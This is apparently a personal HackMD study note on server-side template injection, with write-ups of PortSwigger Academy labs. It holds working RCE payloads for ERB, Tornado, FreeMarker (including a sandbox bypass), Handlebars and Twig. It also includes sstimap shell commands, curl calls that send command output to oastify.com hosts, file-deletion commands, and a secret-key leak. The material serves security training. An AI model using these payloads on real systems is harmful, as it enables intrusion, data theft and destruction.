Try   HackMD

Basic Concept (SSTI)

If website allow us inject the code into template engines, we can manipulate the behavior of the template engines.

e.g. Inserting expression invoke the system function. (RCE)

Template Engine

laravel -> blade (Template engine)
symphony -> Twig (Template Engine )
Flask -> Jinja

Jinja Template

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Impact

(Main Goal)

  • RCE (remote code execution) (Not Always Achieve)

  • Read arbitrary file.

  • Path Traversal


Twig Template

Install Twig (template engine)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

composer require twig/twig

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Environment setting

require_once '/path/to/vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader('/path/to/templates');
$twig = new \Twig\Environment($loader, [
    'cache' => '/path/to/compilation_cache',
]);

$twig object is used to load the twig template

Creating Instances and views

<?php

// load twig template!! 
require './vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader('views');
$twig = new \Twig\Environment($loader, [
    // 'cache' => '/path/to/compilation_cache',
]);

$output = $twig->render("meowhecker.html",array(
    'name'=>'meowhecker',
    'age'=>'18'
));

echo $output;

?>

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Basic Demo

index.php

<?php // load twig template!! require './vendor/autoload.php'; $loader = new \Twig\Loader\FilesystemLoader('views'); $twig = new \Twig\Environment($loader, [ // 'cache' => '/path/to/compilation_cache', ]); $lexer = new \Twig\Lexer($twig, array( 'tag_block' => array('{','}'), 'tag_variable' => array('{{$','}}') )); $twig->setLexer($lexer); $output = $twig->render("meowhecker.html",array( 'name'=>'meowhecker', 'age'=>'18', 'users' => array( array('name'=>"meow1", 'age'=>'20'), array('name'=>"meow2", 'age'=>'30'), array('name'=>"meow3", 'age'=>'40'), ) )); echo $output; ?>

views/meowhecker.html

Hello, {{name}} you are {{age}}


{% if age >15%}
    you are over the age of 15.<br/>
{% endif %}


{% for user in users %}
    {{user.name}} is {{user.age}} years old .<br/>
{% endfor %}

Result

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Vulnerabilities Arise

Static Template (Non-Vulnerable)

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Dynamic Template (Vulnerable)

$output = $twig->render("Dear " . $_GET['name'];    

User input Directly embedding to the template. (Danger!)

Detection

Injecting special character to trigger the exception.

Fuzzing

${{<%[%'"}}%\

<%=meowhecker%>


Plaintext Context (No Expression)

Inject point

html = render("Hello" + username)

Distinguish XSS

Some we will identity this issue just simple XSS

We can use mathematical operation to testing there whether have SSTI issue or not.

{{6*9}}

or 

${6*9}

IF Return Hello 54 -> SSTI Detected !!

Code context (Have Expression )

Passing value to template expression

`greeting = getQueryParameter('greeting') engine.render("Hello {{"+greeting+"}}", data)`

the result URL would be like

http://vulnerable-website.com/?greeting=data.username

we can attempt to inject arbitrary HTML

http://vulnerable-website.com/?greeting=data.username</tag>

if arise exception arises
, we could try to bread out of statement using common template syntax.

`Hello Carlos<tag>`

Identify Template Engine

Identify the type of template the server uses.

Trigger Error Message

<%=foobar%>

${7/0}, {{7/0}}
Ruby-based ERB engine:
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

FUzzing string

${{<%[%'"}}%\

Mathematical Operation

圖片


${7*7}

{{7*7}}

a{*comment*}b

${"z".join("ab")}

Automatically Tools

https://github.com/vladko312/sstimap

https://github.com/epinna/tplmap

Exploit

Require: Identify template

Step 1 : Read Document

Reading the document to understand the expression syntax for invoking system function to execute systems commands.

e.g. (Python-base Mako)

<% import os x=os.popen('id').read() %>
${x}

LAB1 - SSTI (Plain Text Context)

https://docs.ruby-lang.org/en/2.3.0/ERB.html

Site Map

圖片

Dynamic Parameters

圖片

Identify

Flawed Design

  • Value Reflection -> XSS,SSTI

圖片

**Testing SSTI vulnerability **

${{<%[%'"}}%\

Not Word

圖片

${7*7}

{{7*7}}

Not work

<%= meowhecke %>

圖片

-> ERB Template

Confirm Defense Mechanisms

None

Exploit

Read Document

<%= system("whoami") %> #Execute code

圖片

RCE !!

圖片

Solved

Another Solution : Using SSTImap.py

Tools
https://github.com/vladko312/sstimap

python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test

image

python3 sstimap.py -u https://0a3c004a04955a77853ca818006000ea.web-security-academy.net/?message=Test --os-shell

image

Receive Shell !!!

LAB-2: SSTI (Code Context)

wiener:peter

Site Map

image

Dynamic Parameters

image

Identify

Evaluate Comment functionality

image

image

Flawed Design

Passing User controllable vale to expression

image

7*7

image

POST /post/comment HTTP/2

csrf=xwVHDtjOXBjXHOTHJCTCPmcVgDgcdHbd&postId=6&comment=${{<%[%'"}}%\

image

SSTI Detected !!!

Identify Template Engine

image

-> Tornado

Confirm Defense Mechanisms

None

Exploit

Read Document

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python

RCE (Remote Code Execution)

Code Context -> Like XSS context -> 拼接

{{ "meowhecker" }}
"meowHead" }} {% import os %} {{os.system('whoami')}} {{"meowTail"

image

image

RCE (Remote Code Execution )

"meowHead" }} {% import os %} {{os.system('rm ./morale.txt')}} {{"meowTail"

image

Solved !

LAB-3 SSTI (PlainText Context:Customer HTML Page Block)

Valid Credential

  • content-manager:C0nt3ntM4n4g3r

Site Map

image

Dynamic Parameters

image

Identify

/Change email

email=meow%40meow&csrf=e0wDmxxUU4umag3SJOjD5TaU9wP5Qj8a

image

No Vulnerability

Flawed Design

https://0a2300eb03e7a1ac80edada900870073.web-security-academy.net/product/template?productId=1

圖片

Confirm Defense Mechanisms

None

圖片

${6*9}

${7/0}

圖片

Exploit

Read Document

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

圖片

Remote Code Execution

圖片

Solved !

LAB-4 SSTI - Plain text context

Site Map

圖片

Dynamic Parameters

圖片

Identify

Flawed Design

Page reflect get parameter!

圖片

Confirm Defense Mechanisms
None

Detected : SSTI vulnerabilities !

圖片

圖片

Template Engine -> Handlebars

Exploit

Read Document

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

圖片

RCE Payload (Blind CMD injectio)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

圖片

RCE !!!

curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(pwd)

圖片

curl http://dwd4bsvypgc9trx73ctadiodu40volca.oastify.com?log=$(rm -rf morale.txt)

圖片

Enumerate Template Support object or methods

SSTI is not always possible to lead to Remote code execution but , it can still provide opportunities to perform other high-severity exploit

Default template object

we could try to inject the default objects or methods provided by template engine using a fuzzing approach

Read Document

(Brute Force - fuzzing)
1.SecLists (wordlists)
2.burpsuite intruder (profession version)

Developer supplied objects

We can also enumerate developer-supplied objects or method to exploit them.

Enumerate

  • Error Message

LAB-5 : Server side template injection with information disclous via user-supplied object

content-manager:C0nt3ntM4n4g3r

Site Map

Dynamic Parameters

Identify

Flawed Design

圖片

SSTI Detected !!

圖片

Python Template

{% debug %}

Template Engine -> Jinja2 (Python)

圖片

圖片

Exploit

Read Document

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python

framework's secret key.

{{settings.SECRET_KEY}}

圖片

fz5al0wmgf36xcxlckbvi6u5r1syifly

圖片

Solved

Customer Exploit

Freemarker - Sandbox bypass

LAB-1 SSTI Sandbox ENV Bypass

content-manager:C0nt3ntM4n4g3r

Site Map

圖片

Dynamic Parameters

圖片

Identify

Flawed Design

https://0abb007104f42b83825b92c0006f0095.web-security-academy.net/product/template?productId=1

圖片

SSTI detection
Template -> FreeMarker

Confirm Defense Mechanisms

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

Not allow invoke Danger methods

圖片

-> inference template in sandbox env

Bypass

圖片

Other exploit Using Product object

圖片

According the error message, I guess template didn't have article object
we can attempt use Product to replace it.

Exploit

Read Document

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#freemarker-java

only works on Freemarker versions below 2.3.30

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

圖片

RCE !!!

圖片

Solved

Exploit SSTI via object chains

LAB-Server side template injection with a customer exploit.

Site Map

圖片

Dynamic Parameters

圖片

Identify

/my-account/change-blog-post-author-display

圖片

blog-post-author-display=7/0&csrf=M6hhzrM7GTNNKX7IycAe0uHCoGGMMKLj

Flawed Design

圖片

SSTI Detected
Template Engine -> Twig!

Confirm Defense Mechanisms

Bypass

Exploit

"meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{"meowTail"

Not Work

"meowHead"}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("curl http://626xhl1rv9i2zk3095z3jbu60x6ouji8.oastify.com")}}{{"meowTail"

Not Work

RCe payload not work

Attempt find other path

圖片

user.setAvatar('/etc/passwd','image/jpg')

圖片

"meowHead"}}{{user.setAvatar('/home/carlos/User.php','image/jpg')}}{{"meowTail"

Construct Object chain

<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>

Delete

"meowHead"}}{{user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')}}{{user.gdprDelete()}}{{"meowTail"

圖片

圖片

Solved

Owner :侯智晟 meowheckerouo@gmail.com